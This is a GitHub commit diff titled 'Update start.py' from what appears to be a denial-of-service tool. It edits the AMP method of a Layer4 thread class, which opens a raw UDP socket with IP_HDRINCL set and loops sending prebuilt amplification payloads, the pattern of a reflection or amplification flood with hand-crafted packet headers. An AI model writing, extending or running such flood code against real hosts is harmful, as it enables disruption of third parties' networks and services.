Update start.py

This commit is contained in:
MH_ProDev 2022-04-10 16:19:36 +04:30 committed by GitHub
parent d4418c79eb
commit ce5c415bc5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -472,12 +472,11 @@ class Layer4(Thread):
Tools.safe_close(s)
def AMP(self) -> None:
payload = next(self._amp_payloads)
s = None
with suppress(Exception), socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while Tools.sendto(s, *payload):
while Tools.sendto(s, *next(self._amp_payloads)):
continue
Tools.safe_close(s)